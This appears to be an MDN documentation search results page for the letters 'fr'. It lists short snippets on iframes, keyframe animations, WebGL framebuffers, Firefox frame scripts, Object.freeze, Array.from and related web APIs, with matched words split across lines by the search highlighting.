Search completed in 1.17 seconds.
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
the html inline
frame element (<i
frame>) represents a nested browsing context, embedding another html page into the current one.
... because each browsing context is a complete document environment, every <i
frame> in a page requires increased memory and other computing resources.
... while theoretically you can use as many <i
frame>s as you like, check for performance problems.
...And 45 more matches
From object to iframe — other embedding technologies - Learn web development
at this point we'd like to take somewhat of a sideways step, looking at some elements that allow you to embed a wide variety of content types into your webpages: the <i
frame>, <embed> and <object> elements.
... <i
frame>s are for embedding other web pages, and the other two allow you to embed pdfs, svg, and even flash — a technology that is on the way out, but which you'll still see semi-regularly.
... objective: to learn how to embed items into web pages using <object>, <embed>, and <i
frame>, like flash movies and other webpages.
...And 42 more matches
KeyframeEffect.setKeyframes() - Web APIs
the setkey
frames() method of the key
frameeffect interface replaces the key
frames that make up the affected key
frameeffect with a new set of key
frames.
... syntax existingkey
frameeffect.setkey
frames(key
frames); parameters key
frames a key
frame object or null.
... if set to null, the key
frames are replaced with a sequence of empty key
frames.
...And 23 more matches
frame/hidden-frame - Archive of obsolete content
experimental creates firefox
frames (i.e.
... xul <i
frame> elements) that are not displayed to the user.
... usage the module exports a constructor function, hidden
frame, and two other functions, add and remove.
...And 13 more matches
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
extension code using internal linkage will need to migrate to use
frozen linkage because internal linkage will not be available in firefox 3.
... this document is a guide to common code patterns that may need to change to work with
frozen linkage.
... strings the most obvious change required by
frozen linkage is using the
frozen string api.
...And 13 more matches
KeyframeEffect.getKeyframes() - Web APIs
the getkey
frames() method of a key
frameeffect returns an array of the computed key
frames that make up this animation along with their computed offsets.
... syntax var key
frames = key
frameeffect.getkey
frames(); parameters none.
... return value returns a sequence of objects with the following format: property value pairs as many property value pairs as are contained in each key
frame of the animation.
...And 7 more matches
<noframes>: The Frame Fallback element - HTML: Hypertext Markup Language
the obsolete html no
frames or
frame fallback element, <no
frames>, provides content to be presented in browsers that don't support (or have disabled support for) the <
frame> element.
... although most commonly-used browsers support
frames, there are exceptions, including certain special-use browsers including some mobile browsers, as well as text-mode browsers.
... a <no
frames> element can contain any html elements that are allowed within the body of an html document, with the exception of the <
frameset> and <
frame> elements, since using
frames when they aren't supported doesn't make sense.
...And 7 more matches
KeyframeEffect.KeyframeEffect() - Web APIs
the key
frameeffect() constructor of the web animations api returns a new key
frameeffect object instance, and also allows you to clone an existing key
frame effect object instance.
... syntax var key
frames = new key
frameeffect(element, key
frameset, key
frameoptions); var key
frames = new key
frameeffect(sourcekey
frames); parameters the first type of constructor (see above) creates a completely new key
frameeffect object instance.
... key
frameset an key
frame object or null.
...And 6 more matches
MathML Demo: <mfrac> - fractions
fraction lines should align vertically with the math axis.
... inline fenced nested
fractions [ ∥ sin θ + 1 11 ∥ - x x 2 a 1 ] + [ 1.0 ] etc.
... latex renders continued
fractions 1 2 + 1 3 + 1 4 + 1 5 + 1 6 + … normal size at all levels in all contexts 1 2 + 1 3 + 1 4 + 1 5 + 1 6 + … inline nested
fracs 1 6 2 + 1 3 + 1 4 + 1 5 + 1 6 + … are script size at the first level and decrease to script script size for all more nested levels.
...And 3 more matches
Rendering and the WebXR frame animation callback - Web APIs
once your webxr environment has been set up and an xrsession created to represent an ongoing xr environment session, you need to provide
frames of the scene to the xr device for rendering.
... this article covers the process of driving the
frames of the xr scene to the device in the rendering loop, using the xrsession to obtain an xr
frame object representing each
frame, which is then used to prepare the
framebuffer for delivery to the xr device.
... before you can render the virtual environment, you need to establish a webxr session by creating an xrsession using the navigator.xr.requestsession() method; you also need to associate the session with a
framebuffer and perform other setup tasks.
...And 108 more matches
Introduction to client-side frameworks - Learn web development
overview: client-side javascript
frameworks next we begin our look at
frameworks with a general overview of the area, looking at a brief history of javascript and
frameworks, why
frameworks exist and what they give us, how to start thinking about choosing a
framework to learn, and what alternatives there are to client-side
frameworks.
... objective: to understand how client-side javascript
frameworks came to exist, what problems they solve, what alternatives there are, and how to go about choosing one.
... the advent of modern javascript
frameworks has made it much easier to build highly dynamic, interactive applications.
...And 86 more matches
Server-side web frameworks - Learn web development
previous overview: first steps next the previous article showed you what the communication between web clients and servers looks like, the nature of http requests and responses, and what a server-side web application needs to do in order to respond to requests
from a web browser.
... with this knowledge under our belt, it's time to explore how web
frameworks can simplify these tasks, and give you an idea of how you'd choose a
framework for your first server-side web application.
... objective: to understand how web
frameworks can simplify development/maintenance of server-side code and to get readers thinking about selecting a
framework for their own development.
...And 82 more matches
Debugger.Frame - Firefox Developer Tools
debugger.
frame a debugger.
frame instance represents a visible stack
frame.
... given a debugger.
frame instance, you can find the script the
frame is executing, walk the stack to older
frames, find the lexical environment in which the execution is taking place, and so on.
... for a given debugger instance, spidermonkey creates only one debugger.
frame instance for a given visible
frame.
...And 78 more matches
ui/frame - Archive of obsolete content
experimental create html i
frames, using bundled html, css and javascript, that can be added to a designated area of the firefox user interface.
... at the moment you can only add
frames to a toolbar.
... usage this module exports the
frame constructor, which can be used to create
frame components.
...And 62 more matches
Framework main features - Learn web development
previous overview: client-side javascript
frameworks next each major javascript
framework has a different approach to updating the dom, handling browser events, and providing an enjoyable developer experience.
... this article will explore the main features of “the big 4”
frameworks, looking at how
frameworks tend to work
from a high level, and the differences between them.
... objective: to understand the main code features of
frameworks.
...And 36 more matches
Performance best practices for Firefox front-end engineers
this guide will help firefox developers working on
front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
... always keep in mind the side effects your changes may have,
from blocking other tasks, to interfering with other user interface elements.
... use requestidlecallback() if you simply cannot avoid doing some kind of long job on the main thread, try to break it up into smaller pieces that you can run when the browser has a
free moment to spare, and the user isn't doing anything.
...And 34 more matches
WebGLRenderingContext.getFramebufferAttachmentParameter() - Web APIs
the webglrenderingcontext.get
framebufferattachmentparameter() method of the webgl api returns information about a
framebuffer's attachment.
... syntax any gl.get
framebufferattachmentparameter(target, attachment, pname); parameters target a glenum specifying the binding point (target).
... possible values: gl.
framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...And 33 more matches
HTMLIFrameElement - Web APIs
the htmli
frameelement interface provides special properties and methods (beyond those of the htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of inline
frame elements.
...co,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmli
frameelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmli
frameelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inheri...
...ts properties
from its parent, htmlelement.
...And 29 more matches
Object.freeze() - JavaScript
the object.
freeze() method
freezes an object.
... a
frozen object can no longer be changed;
freezing an object prevents new properties
from being added to it, existing properties
from being removed, prevents changing the enumerability, configurability, or writability of existing properties, and prevents the values of existing properties
from being changed.
... in addition,
freezing an object also prevents its prototype
from being changed.
...And 29 more matches
Reading from Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages
from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...reading data
from a file involves getting a reference to a file and then creating an input stream to read
from it.
... an input stream provides a means of reading bytes, strings or other values
from the file.
...And 28 more matches
Storage access policy: Block cookies from trackers
firefox includes a new storage access policy that blocks cookies and other site data
from third-party tracking resources.
... second, firefox uses an additional "entity list", which prevents domains
from being classified as trackers when they are loaded on a top-level site owned by the same organization.
... the storage access policy blocks resources identified as trackers
from accessing their cookies and other site storage when they are loaded in a third-party context.
...And 28 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
what this means to you as the developer is this: you can take advantage of skills you already have with xml or web technologies to design and implement anything
from a simple text editor to a comprehensive ide - complete with all of the interface widgets that you would find in virtually any major application
framework.
... unlike many other application
frameworks, you are not limited to the widget set we provide, nor limited to the "look and feel" of the native os.
... you can create applications using our
framework that either have a native look and feel for each os, or one which is identical on macs, pc's or unix operating systems.
...And 26 more matches
Understanding client-side JavaScript frameworks - Learn web development
javascript
frameworks are an essential part of modern
front-end web development, providing developers with tried and tested tools for building scalable, interactive web applications.
... many modern companies use
frameworks as a standard part of their tooling, so many
front-end development jobs now require
framework experience.
... as an aspiring
front-end developer, it can be hard to work out where to begin when learning
frameworks — there are so many different
frameworks to choose
from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using
frameworks.
...And 26 more matches
Frame script loading and lifetime
loading
frame scripts to load a
frame script use the load
framescript() function.
... this line of code loads a
frame script into the currently selected tab.
... the script just writes "foo" to the command line: // chrome script var mm = gbrowser.selectedbrowser.messagemanager; mm.load
framescript('data:,dump("foo\\n")', true); load
framescript() takes two mandatory parameters: a url that points to the
frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global
frame message manager or a window message manager, load
framescript() may load the script multiple times, once in each applicable
frame.
...And 25 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
they include: html 4.01, xhtml 1.0 and xhtml 1.1 cascade style sheets (css): css level 1, css level 2.1 and parts of css level 3 document object model (dom): dom level 1, dom level 2 and parts of dom level 3 mathematical markup language: mathml version 2.0 extensible markup language (xml): xml 1.0, namespaces in xml, associating style sheets with xml documents 1.0,
fragment identifier for xml xsl transformations: xslt 1.0 xml path language: xpath 1.0 resource description
framework: rdf simple object access protocol: soap 1.1 ecma-262, revision 3 (javascript 1.5): ecma-262 general cross-browser coding tips even though web standards do exist, different browsers behave differently (in fact, the same browser may behave differently depending on the platform...
... 3 text node 4 cdata section node 5 entity reference node 6 entity node 7 processing instruction node 8 comment node 9 document node 10 document type node 11 document
fragment node 12 notation node nodevalue returns the value of the current node.
... removeattribute( aname ) removes the specified attribute
from the current node.
...And 23 more matches
Building up a basic demo with A-Frame - Game development
mozilla's a-
frame
framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascript or glsl.
... this article explains how to get up and running with a-
frame, and how to use it to build up a simple demo.
... high level overview the current version of a-
frame is 0.3.2, which means it's highly experimental, but it already works and you can test it right away in the browser.
...And 21 more matches
nsIFrameLoader
content/base/public/nsi
frameloader.idlscriptable handles loading a
frame.
... 1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this interface works in tandem with the nsicontentview interface to manage
frames across processes if electrolysis is in use to support per-
frame processes.
... method overview void activate
frameevent(in astring atype, in boolean capture); void activateremote
frame(); void destroy(); void load
frame(); void loaduri(in nsiuri auri); void sendcrossprocesskeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault); void sendcrossprocessmouseevent(in astring atype, in float ax, in float ay, in long abutton, in long aclickcount, in long amodifiers, [optional] in boolean aignorerootscroll
frame); void updatepositionandsize(in nsi
frame ai
frame); native code only!
...And 21 more matches
Animation performance and frame rate - Web Performance
the performance cost of animating a css property can vary
from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth
frame rate.
...responsive user interfaces have a
frame rate of 60
frames per second (fps).
... while it is not always possible to maintain 60fps, it is important to maintain a high and steady
frame rate for all animations.
...And 21 more matches
Frame rate - Firefox Developer Tools
frame rate is a measure of a website's responsiveness.
... a low or inconsistent
frame rate can make a site appear unresponsive or janky, making for a bad user experience.
... a
frame rate of 60fps is the target for smooth performance, giving you a time budget of 16.7ms for all the updates needed in response to some event.
...And 20 more matches
@keyframes - CSS: Cascading Style Sheets
the @key
frames css at-rule controls the intermediate steps in a css animation sequence by defining styles for key
frames (or waypoints) along the animation sequence.
... syntax @key
frames slidein {
from { transform: translatex(0%); } to { transform: translatex(100%); } } values <custom-ident> a name identifying the key
frame list.
...
from a starting offset of 0%.
...And 20 more matches
SavedFrame
saved
frame a saved
frame instance is a singly linked list of stack
frames.
...younger
frames hold a reference to the
frames that invoked them.
... the older tails are shared across many younger
frames.
...And 19 more matches
Using the Frame Timing API - Web APIs
the performance
frametiming interface provides
frame timing data about the browser's event loop.
... a
frame represents the amount of work a browser does in one event loop iteration such as processing dom events, resizing, scrolling, rendering, css animations, etc.
... a
frame rate of 60 fps (
frames per second) for a 60 hz re
fresh rate is a common target for a good responsive user experience.
...And 19 more matches
Keyframe Formats - Web APIs
element.animate(), key
frameeffect.key
frameeffect(), and key
frameeffect.setkey
frames() all accept objects formatted to represent a set of key
frames.
... syntax there are two different ways to format key
frames: an array of objects (key
frames) consisting of properties and values to iterate over.
... this is the canonical format returned by the getkey
frames() method.
...And 19 more matches
DocumentFragment - Web APIs
the document
fragment interface represents a minimal document object that has no parent.
...the key difference is due to the fact that the document
fragment isn't part of the active document tree structure.
... changes made to the
fragment don't affect the document (even on reflow) or incur any performance impact when changes are made.
...And 18 more matches
Object.isFrozen() - JavaScript
the object.is
frozen() determines if an object is
frozen.
... syntax object.is
frozen(obj) parameters obj the object which should be checked.
... return value a boolean indicating whether or not the given object is
frozen.
...And 18 more matches
Fetching data from the server - Learn web development
previous overview: client-side web apis next another very common task in modern websites and applications is retrieving individual data items
from the server to update sections of a webpage without having to load an entire new page.
... prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to fetch data
from the server and use it to update the contents of a web page.
... this is a really good thing because: page updates are a lot quicker and you don't have to wait for the page to re
fresh, meaning that the site feels faster and more responsive.
...And 17 more matches
Frecency algorithm
frecency is a score given to each unique uri in places, encompassing bookmarks, history and tags.
... the word "
frecency" itself is a combination of the words "
frequency" and "recency." the default
frecency value for all valid entries is -1.
... invalid places have a
frecency value of zero, and will not show up in autocomplete results.
...And 17 more matches
XRWebGLLayer.getNativeFramebufferScaleFactor() static method - Web APIs
the static method xrwebgllayer.getnative
framebufferscalefactor() returns a floating-point scaling factor by which one can multiply the specified xrsession's resolution to get the native resolution of the webxr device's
frame buffer.
... this information can be used when creating a new xrwebgllayer to configure the xrwebgllayerinit property
framebufferscalefactor in the options specified when calling the xrwebgllayer() constructor.
... if the scaling factor is 1.0, then the
frame buffer pixels and the native display pixels are the same size.
...And 17 more matches
Using the Editor from XUL - Archive of obsolete content
overview the editor in xul lives on top of a xul <i
frame> element; it observes document loading in this <i
frame>, and, when document loading is complete, it instantiates an editor on the loaded document.
... the <i
frame> contents are then editable.
... note that the <editor> element is really just an <i
frame> which takes over some of the task of creating the editor
from javascript.
...And 16 more matches
XRSession.requestAnimationFrame() - Web APIs
the xrsession method requestanimation
frame(), much like the window method of the same name, schedules a callback to be executed the next time the browser is ready to paint the session's virtual environment to the xr display.
... the specified callback is executed once before the next repaint; if you wish for it to be executed for the following repaint, you must call requestanimation
frame() again.
... this can be done
from within the callback itself.
...And 16 more matches
WebGLRenderingContext.checkFramebufferStatus() - Web APIs
the webglrenderingcontext.check
framebufferstatus() method of the webgl api returns the completeness status of the webgl
framebuffer object.
... syntax glenum gl.check
framebufferstatus(target); parameters target a glenum specifying the binding point (target).
... possible values: gl.
framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...And 15 more matches
XRWebGLLayer.framebuffer - Web APIs
the read-only xrwebgllayer property
framebuffer is an opaque webgl
framebuffer which is used to buffer the rendered image if the xr compositor is being used.
...the opaque
framebuffer is functionally nearly the same as a standard webgl
framebuffer, except for the differences covered in the section how opaque
framebuffers are special below.
... syntax let
framebuffer = xrwebgllayer.
framebuffer; value a webgl
framebuffer object representing the
framebuffer into which the 3d scene is being rendered, or null if the xr compositor is disabled for the session.
...And 15 more matches
X-Frame-Options - HTTP
the x-
frame-options http response header can be used to indicate whether or not a browser should be allowed to render a page in a <
frame>, <i
frame>, <embed> or <object>.
... the added security is provided only if the user accessing the document is using a browser that supports x-
frame-options.
... note: the content-security-policy http header has a
frame-ancestors directive which obsoletes this header for supporting browsers.
...And 15 more matches
Frame Timing API - Web APIs
the performance
frametiming interface provides
frame timing data about the browser's event loop.
... a
frame represents the amount of work a browser does in one event loop iteration such as processing dom events, resizing, scrolling, rendering, css animations, etc.
... a
frame rate of 60 fps (
frames per second) for a 60 hz re
fresh rate is a common target for a good responsive user experience.
...And 14 more matches
Array.from() - JavaScript
the array.
from() static method creates a new, shallow-copied array instance
from an array-like or iterable object.
... syntax array.
from(arraylike [, mapfn [, thisarg]]) parameters arraylike an array-like or iterable object to convert to an array.
... description array.
from() lets you create arrays
from: array-like objects (objects with a length property and indexed elements); or iterable objects (objects such as map and set).
...And 14 more matches
TypedArray.from() - JavaScript
the typedarray.
from() method creates a new typed array
from an array-like or iterable object.
... this method is nearly the same as array.
from().
... syntax typedarray.
from(source[, mapfn[, thisarg]]) where typedarray is one of: int8array uint8array uint8clampedarray int16array uint16array int32array uint32array float32array float64array bigint64array biguint64array parameters source an array-like or iterable object to convert to a typed array.
...And 14 more matches
Debugging Frame Reflow
general overview the
frame reflow can be logged with the debug capabilities implemented in ns
frame.cpp.
... it provides the following information for each
frame at the start of its reflow reflow reason available width, available height computed width, computed height the previous and the next
frame in flow and a count number.
... when the
frame's reflow is finished the following information is displayed : reflow metric (desired) width, height max.
...And 13 more matches
Communicating with frame scripts
chrome code and
frame scripts communicate back and forth using a messaging api which can include json-serializable objects as arguments.
... the api is mostly symmetrical, with one major exception:
frame scripts can send asynchronous or synchronous messages to chrome, but chrome can only send asynchronous messages to content.
... this is an intentional design decision made to prevent content code
from making chrome code unresponsive.
...And 13 more matches
nsIFrameScriptLoader
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits
from: nsisupports this interface is used to load
frame scripts.
... methods void load
framescript(in astring aurl, in boolean aallowdelayedload, [optional] in boolean aruninglobalscope) void removedelayed
framescript(in astring aurl); jsval getdelayed
framescripts(); load
framescript() load a script in the remote
frame.
...
frame scripts are loaded as soon as load
framescript() is called.
...And 13 more matches
CSSKeyframesRule - Web APIs
the csskey
framesrule interface describes an object representing a complete set of key
frames for a css animation.
... it corresponds to the contents of a whole @key
frames at-rule.
... it implements the cssrule interface with a type value of 7 (cssrule.key
frames_rule).
...And 13 more matches
RTCIceCandidate.usernameFragment - Web APIs
the read-only username
fragment property on the rtcicecandidate interface is a string indicating the username
fragment ("u
frag") that uniquely identifies a single ice interaction session.
... this value is specified when creating the rtcicecandidate by setting the corresponding username
fragment value in the rtcicecandidateinit object when creating a new candidate with new rtcicecandidate().
... note that 24 bits of the username
fragment are required to be randomized by the browser.
...And 13 more matches
jsdIStackFrame
inherits
from: jsdiephemeral last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) strict mode is on.
...stack
frame objects.
...after you return
from that handler the bottom
frame, and any
frame you found attached through it, are invalidated via the jsdiephemeral interface.
...And 12 more matches
A bird's-eye view of the Mozilla framework
tiner last updated date: 11/23/05 statement of purpose the purpose of this article is to provide a high-level technical overview of the architecture of the extensible, object-based mozilla application
framework.
... the article focuses on the architecture of the overall
framework supporting the mozilla application suite, not the architecture of the individual applications themselves.
...the code samples in the article are based on mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.9a1) gecko/20051104 seamonkey/1.1a
from a new source tree checked out 11/04/05.
...And 11 more matches
Frame script environment
the
frame script's global is a content
framemessagemanager, giving it the following environment: content the dom window of the content loaded in the browser.
... addeventlistener() listen to events
from content.
... removeeventlistener() stop listening to events
from content.
...And 11 more matches
Frame script environment
the
frame script's global is a content
framemessagemanager, giving it the following environment: content the dom window of the content loaded in the browser may be null (see below) docshell the nsidocshell associated with the browser.
... addeventlistener() listen to events
from content.
... removeeventlistener() stop listening to events
from content.
...And 11 more matches
AsyncTestUtils extended framework
the asynctestutils extended
framework is one mechanism for testing the mailnews component of thunderbird.
...mozmill is an example of a testing
framework that uses a nested event loop.
... in the future we will probably move the asynctestutils
framework to a nested event loop in a backwards-compatible fashion.
...And 11 more matches
iframe - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an inner
frame that works much like the html <i
frame> element.
... the src attribute can be used to specify the content of the
frame.
...the children of the i
frame are ignored.
...And 10 more matches
nsIFrameMessageManager
content/base/public/nsimessagemanager.idlscriptable provides methods for managing message listeners on local
frames.
... this provides a way for local
frames to receive messages
from remote
frames.
... 1.0 66 introduced gecko 2.0 obsolete gecko 17.0 inherits
from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) this interface is obsolete and was removed in firefox 17.
...And 10 more matches
Limitations of frame scripts
frame scripts run with system privileges and have access to the components object, enabling them to use xpcom objects and jsms.
...however, some apis that work in the chrome process will not work in a
frame script.
... security restrictions on file access processes that host remote content are isolated
from the local system through a content security sandbox.
...And 9 more matches
Limitations of frame scripts
frame scripts run with system privileges and have access to the components object, enabling them to use xpcom objects and jsms.
...however, some apis that work in the chrome process will not work in a
frame script.
... file i/o you should not write to or read
from the disk
from a
frame script, in particular, the profile directory.
...And 9 more matches
Getting from Content to Layout
gecko maintains two separate representations of a document in memory: the content tree and the
frame tree.
... changes to a document originate in the content tree (
from dom modification by scripting, insertion of elements
from the parser, etc.) and are propogated to the layout tree through magic that primarily resides in //github.com/realityripple/uxp/blob/master/layout/base/nscss
frameconstructor.cpp the
frame constructor implements nsimutationobserver which allows it to "watch" the content tree.
... nscss
frameconstructor gets notified
from the document's presshell (which implements nsidocumentobserver and observes the document) about all nodes in the document.
...And 9 more matches
nsIWebBrowserFindInFrames
embedding/components/find/public/nsiwebbrowserfind.idlscriptable controls how find behaves when multiple
frames or i
frames are present.
... inherits
from: nsisupports last changed in gecko 1.7 get an instance by doing a queryinterface
from nsiwebbrowserfind.
... attributes attribute type description currentsearch
frame nsidomwindow
frame at which to start the search.
...And 9 more matches
OVR_multiview2.framebufferTextureMultiviewOVR() - Web APIs
the ovr_multiview2.
framebuffertexturemultiviewovr() method of the webgl api attaches a multiview texture to a webgl
framebuffer.
... syntax void ext.
framebuffertexturemultiviewovr(target, attachment, texture, level, baseviewindex, numviews); parameters target a glenum specifying the binding point (target).
... possible values: gl.
framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...And 9 more matches
WebGLRenderingContext.bindFramebuffer() - Web APIs
the webglrenderingcontext.bind
framebuffer() method of the webgl api binds a given webgl
framebuffer to a target.
... syntax void gl.bind
framebuffer(target,
framebuffer); parameters target a glenum specifying the binding point (target).
... possible values: gl.
framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...And 9 more matches
WebGLRenderingContext.framebufferTexture2D() - Web APIs
the webglrenderingcontext.
framebuffertexture2d() method of the webgl api attaches a texture to a webgl
framebuffer.
... syntax void gl.
framebuffertexture2d(target, attachment, textarget, texture, level); parameters target a glenum specifying the binding point (target).
... possible values: gl.
framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...And 9 more matches
Window.requestAnimationFrame() - Web APIs
the window.requestanimation
frame() method tells the browser that you wish to perform an animation and requests that the browser calls a specified function to update an animation before the next repaint.
... note: your callback routine must itself call requestanimation
frame() if you want to animate another
frame at the next repaint.
...the number of callbacks is usually 60 times per second, but will generally match the display re
fresh rate in most web browsers as per w3c recommendation.
...And 9 more matches
<frame> - HTML: Hypertext Markup Language
<
frame> is an html element which defines a particular area in which another html document can be displayed.
... a
frame should be used within a <
frameset>.
... using the <
frame> element is not encouraged because of certain disadvantages such as performance problems and lack of accessibility for users with screen readers.
...And 9 more matches
AnalyserNode.getByteFrequencyData() - Web APIs
the getbyte
frequencydata() method of the analysernode interface copies the current
frequency data into a uint8array (unsigned byte array) passed into it.
... the
frequency data is composed of integers on a scale
from 0 to 255.
... each item in the array represents the decibel value for a specific
frequency.
...And 8 more matches
AnalyserNode.getFloatFrequencyData() - Web APIs
the getfloat
frequencydata() method of the analysernode interface copies the current
frequency data into a float32array array passed into it.
... each item in the array represents the decibel value for a specific
frequency.
... the
frequencies are spread linearly
from 0 to 1/2 of the sample rate.
...And 8 more matches
BiquadFilterNode.getFrequencyResponse() - Web APIs
the get
frequencyresponse() method of the biquadfilternode interface takes the current filtering algorithm's settings and calculates the
frequency response for
frequencies specified in a specified array of
frequencies.
... the two output arrays, magresponseoutput and phaseresponseoutput, must be created before calling this method; they must be the same size as the array of input
frequency values (
frequencyarray).
... syntax biquadfilternode.get
frequencyresponse(
frequencyarray, magresponseoutput, phaseresponseoutput); parameters
frequencyarray a float32array containing an array of
frequencies, specified in hertz, which you want to filter.
...And 8 more matches
HTMLFrameSetElement - Web APIs
the html
framesetelement interface provides special properties (beyond those of the regular htmlelement interface they also inherit) for manipulating <
frameset> elements.
... properties inherits properties
from its parent, htmlelement and
from windoweventhandlers.
... html
framesetelement.cols is a domstring structured as a comma-seperated list specifing the width of each column inside a
frameset.
...And 8 more matches
KeyframeEffect - Web APIs
the key
frameeffect interface of the web animations api lets us create sets of animatable properties and values, called key
frames.
... constructor key
frameeffect() returns a new key
frameeffect object instance, and also allows you to clone an existing key
frame effect object instance.
... properties key
frameeffect.target gets and sets the element, or originating element of the pseudo-element, being animated by this object.
...And 8 more matches
PerformanceFrameTiming - Web APIs
performance
frametiming is an abstract interface that provides
frame timing data about the browser's event loop.
... a
frame represents the amount of work a browser does in one event loop such as processing dom events, resizing, scrolling, rendering, css animations, etc..
... a
frame rate of 60fps (
frames per second) for a 60hz re
fresh rate is the target for a good responsive user experience.
...And 8 more matches
WebGL2RenderingContext.framebufferTextureLayer() - Web APIs
the webgl2renderingcontext.
framebuffertexturelayer() method of the webgl 2 api attaches a single layer of a texture to a
framebuffer.
... this method is similar to webglrenderingcontext.
framebuffertexture2d(), but only a given single layer of the texture level is attached to the attachment point.
... syntax void gl.
framebuffertexturelayer(target, attachment, texture, level, layer); parameters target a glenum specifying the binding point (target).
...And 8 more matches
WebGL2RenderingContext.invalidateFramebuffer() - Web APIs
the webgl2renderingcontext.invalidate
framebuffer() method of the webgl 2 api invalidates the contents of attachments in a
framebuffer.
... syntax void gl.invalidate
framebuffer(target, attachments); parameters target a glenum specifying the binding point (target).
... possible values: gl.
framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...And 8 more matches
WebGL2RenderingContext.invalidateSubFramebuffer() - Web APIs
the webgl2renderingcontext.invalidatesub
framebuffer() method of the webgl 2 api invalidates portions of the contents of attachments in a
framebuffer.
... syntax void gl.invalidatesub
framebuffer(target, attachments, x, y, width, height); parameters target a glenum specifying the binding point (target).
... possible values: gl.
framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
...And 8 more matches
CSP: frame-src - HTTP
the http content-security-policy (csp)
frame-src directive specifies valid sources for nested browsing contexts loading using elements such as <
frame> and <i
frame>.
... syntax one or more sources can be allowed for the
frame-src policy: content-security-policy:
frame-src <source>; content-security-policy:
frame-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... examples: http://*.example.com: matches all attempts to load
from any subdomain of example.com using the http: url scheme.
...And 8 more matches
Using COM from js-ctypes
this started out with dynamic data exchange (dde), which was superseded by object linking and embedding (ole) and later by the component object model (com), automation objects, activex controls, and the .net
framework.
... basis and reference for this article bugzilla :: bug 738501 - implement ability to create windows shortcuts
from javascript - comment 4 relavent topic bugzilla :: bug 505907 - support c++ calling
from jsctypes converting com code to c code to convert com code to js-ctypes, we need to write c++ vtable pointers in c.
...when used
from c or js-ctypes, the order of the vtable methods should match the order of the c++ vtable.
...And 7 more matches
NDEFRecord - Web APIs
the nde
frecord interface of the web nfc api is an abstract interface that represents data that can be read
from or written to compatible nfc devices, e.g.
... constructor nde
frecord() returns a new nde
frecord with configuration specified in the parameters or default ones if no parameters are specified.
... attributes nde
frecord.recordtype read only represents the ndef record type.
...And 7 more matches
<frequency-percentage> - CSS: Cascading Style Sheets
the <
frequency-percentage> css data type represents a value that can be either a <
frequency> or a <percentage>.
...
frequency values, e.g.
... syntax the value of a <
frequency-percentage> is either a <
frequency> or a <percentage>; see their individual reference pages for details about their syntaxes.
...And 7 more matches
<mfrac> - MathML
the mathml <m
frac> element is used to display
fractions.
... syntax <m
frac>numerator denominator</m
frac> attributes bevelled specifies the way the
fraction is displayed.
... if true, the
fraction line is bevelled, which means that numerator and denominator are displayed side by side and separated by a slash (/).
...And 7 more matches
Mozilla Application Framework - Archive of obsolete content
related: xulrunner:what xulrunner provides, xulrunner hall of fame the mozilla application
framework: for powerful, easy to develop cross-platform applications want to build applications?
... use the mozilla
framework and make your life easier.
... we provide a comprehensive
framework that does much of the work for you, tools to help you develop your apps, and a community of people to help.
...And 6 more matches
HTMLIFrameElement.setVisible()
the setvisible() method of the htmli
frameelement is used to change the visibility state of the browser <i
frame>.
... the visible state of a browser <i
frame> has nothing to do with its actual visibility (which is handled through css).
... the visible state is used to define the level of resources required by the browser <i
frame>.
...And 6 more matches
nsIFrameLoaderOwner
content/base/public/nsi
frameloader.idlscriptable represents the owner of an nsi
frameloader.
... 1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview [noscript, notxpcom] alreadyaddrefed_ns
frameloader get
frameloader(); void swap
frameloaders(in nsi
frameloaderowner aotherowner); attributes attribute type description
frameloader nsi
frameloader the
frame loader owned by this nsi
frameloaderowner.
... methods get
frameloader() returns the
frame loader object owned by this object.
